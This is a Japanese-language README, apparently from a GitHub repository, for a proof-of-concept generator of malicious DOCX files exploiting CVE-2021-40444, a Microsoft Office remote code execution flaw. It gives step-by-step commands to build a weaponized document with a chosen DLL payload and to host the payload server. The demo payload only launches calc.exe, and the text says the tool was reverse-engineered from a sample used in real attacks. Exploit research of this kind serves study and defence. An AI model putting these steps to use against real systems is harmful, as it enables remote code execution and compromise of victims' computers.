lockedbyte/cve-2021-40444CVE-2021-40444（Microsoft Office RCE）を悪用する悪意のあるDOCX文書を生成し、DLLペイロード配信用のホスト型サーバーを使用します。実際に観測されたサンプルをリバースエンジニアリングしたものに基づいています。
CVE-2021-40444（Microsoft Office Word のリモートコード実行）を悪用する悪意のある docx ジェネレーター
このスクリプトの作成は、実際に使用されたサンプル（938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52（docxファイル））のリバースエンジニアリングに基づいています。
まず lcab をインストールする必要があります（sudo apt-get install lcab）
手動での再現手順については REPRODUCE.md を確認してください
生成された cab が機能しない場合は、exploit.html の URL を calc.cab に指定してみてください
最初に、DLL を指定して悪意のある docx ドキュメントを生成します。test/calc.dll にあるものを使うことができます。これは system() の呼び出しから calc.exe を起動するだけです。
python3 exploit.py generate test/calc.dll http://<SRV IP>
悪意のある docx を生成したら（out/ に作成されます）、サーバーをセットアップできます：
sudo python3 exploit.py host 80
最後に、Windows 仮想マシンで docx を試してみてください：
